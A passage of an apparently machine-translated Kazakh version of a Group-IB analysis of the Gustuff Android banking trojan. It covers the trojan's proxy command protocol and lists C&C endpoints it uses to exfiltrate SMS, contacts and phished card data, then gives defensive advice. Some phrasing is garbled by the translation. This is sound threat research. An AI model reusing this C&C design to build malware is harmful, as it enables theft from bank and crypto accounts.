  • simOperator — Қызмет провайдерінің аты (SPN). Мәнді алу процесі кезінде қате орын алса, осы өрістің орнына қате туралы мәтіндік хабарлама жазылады.
  • нұсқа - бұл өріс конфигурация класында сақталады, боттың тексерілген нұсқалары үшін ол «1.6» тең болды.

5. Серверден командаларды күту режиміне ауысады. Серверден келетін пәрмендер келесі пішімде келеді:

  • 0 офсет – пәрмен
  • 1 офсет – сеанс идентификаторы
  • 2 офсет – ұзындық
  • 4 офсет – деректер

Пәрмен келгенде, қолданба журналға жазады:
mainLog("Тақырып { sessionId<%id%>], түрі[<%команд%>], ұзындық[<%length%>] }")

Серверден келесі пәрмендер мүмкін:

Толық аты-жөніңіз бұйрық мәліметтер сипаттамасы
байланыс идентификаторы 0 Қосылым идентификаторы Жаңа қосылым жасаңыз
SLEEP 3 уақыт Прокси модулін кідірту
ПИНГ_ПОНГ 4 - PONG хабарын жіберіңіз

PONG хабарламасы 4 байттан тұрады және келесідей көрінеді: 0x04000000.

ConnectionId пәрмені қабылданғанда (жаңа қосылым жасау үшін) CommandConnection класс данасын жасайды ProxyConnection.

  • Проксиге екі сынып қатысады: ProxyConnection и соңы. Сынып құру кезінде ProxyConnection мекенжайға қосылу ProxyConfigClass.host: ProxyConfigClass.proxyPort және JSON нысанын беру:

 {
    "id":<%connectionId%>
}

Жауап ретінде сервер байланыс орнатылуы тиіс қашықтағы сервердің мекенжайын қамтитын SOCKS5 хабарламасын жібереді. Бұл сервермен әрекеттесу сынып арқылы жүзеге асады соңы. Қосылымды орнату схемалық түрде келесідей ұсынылуы мүмкін:

Android трояндық Gustuff сіздің тіркелгілеріңізден кремді (fiat және крипто) қалай алып тастайды

Желілік өзара әрекеттесулер

Желілік снайферлер арқылы трафикті талдауды болдырмау үшін CnC сервері мен қолданба арасындағы өзара әрекеттесу SSL протоколы арқылы қорғалуы мүмкін. Серверден және серверге жіберілген барлық деректер JSON пішімінде ұсынылған. Қолданба жұмыс кезінде келесі сұрауларды орындайды:

  • http://<%CnC%>/api/v1/set_state.php — команданың орындалу нәтижесі.
  • http://<%CnC%>/api/v1/get.php — бұйрықты қабылдау.
  • http://<%CnC%>/api/v1/load_sms.php — вирус жұққан құрылғыдан SMS хабарламаларын жүктеп алу.
  • http://<%CnC%>/api/v1/load_ab.php — вирус жұққан құрылғыдан контактілер тізімін жүктеп салу.
  • http://<%CnC%>/api/v1/aevents.php – сұраныс қалаулы файлда орналасқан параметрлерді жаңарту кезінде жасалады.
  • http://<%CnC%>/api/v1/set_card.php — Google Play Market ретінде маскирленген фишинг терезесі арқылы алынған деректерді жүктеп салу.
  • http://<%CnC%>/api/v1/logs.php – журнал деректерін жүктеп салу.
  • http://<%CnC%>/api/v1/records.php – фишинг терезелері арқылы алынған деректерді жүктеп салу.
  • http://<%CnC%>/api/v1/set_error.php – орын алған қате туралы хабарлама.

ұсынымдар

Өз тұтынушыларын мобильді трояндық қатерден қорғау үшін компаниялар пайдаланушы құрылғыларына қосымша бағдарламалық құрал орнатпай-ақ зиянды әрекеттерді бақылауға және болдырмауға мүмкіндік беретін кешенді шешімдерді пайдалануы керек.

Бұл үшін мобильді трояндарды анықтауға арналған қолтаңба әдістерін клиенттің де, қолданбаның да әрекетін талдауға арналған технологиялармен күшейту қажет. Қорғаныс сонымен қатар сандық саусақ ізі технологиясын пайдаланатын құрылғыны сәйкестендіру функциясын қамтуы керек, бұл есептік жазбаның әдеттегі емес құрылғыдан пайдаланылғанын және алаяқтың қолына түсіп кеткенін түсінуге мүмкіндік береді.

Негізгі маңызды сәт - компанияларға тек Интернетте ғана емес, сонымен қатар мобильді арнада, мысалы, мобильді банкингке арналған қосымшаларда, криптовалюталармен транзакциялар үшін және кез келген басқа жерде туындайтын тәуекелдерді бақылауға мүмкіндік беретін кросс-каналды талдаудың болуы. операциялар жүзеге асырылуы мүмкін.қаржылық операция.

Пайдаланушыларға арналған қауіпсіздік ережелері:

  • Android ОЖ бар мобильді құрылғыға Google Play-ден басқа көздерден қолданбаларды орнатпаңыз, қолданба сұраған құқықтарға ерекше назар аударыңыз;
  • Android ОЖ жаңартуларын жүйелі түрде орнату;
  • жүктелген файлдардың кеңейтіміне назар аударыңыз;
  • күдікті ресурстарға бармаңыз;
  • SMS хабарламаларында алынған сілтемелерді баспаңыз.

Басты рөлде Семен Рогачева, Group-IB компьютерлік сот сараптамасы зертханасының зиянды бағдарламаларды зерттеу жөніндегі кіші маманы.

Ақпарат көзі: www.habr.com

пікір қалдыру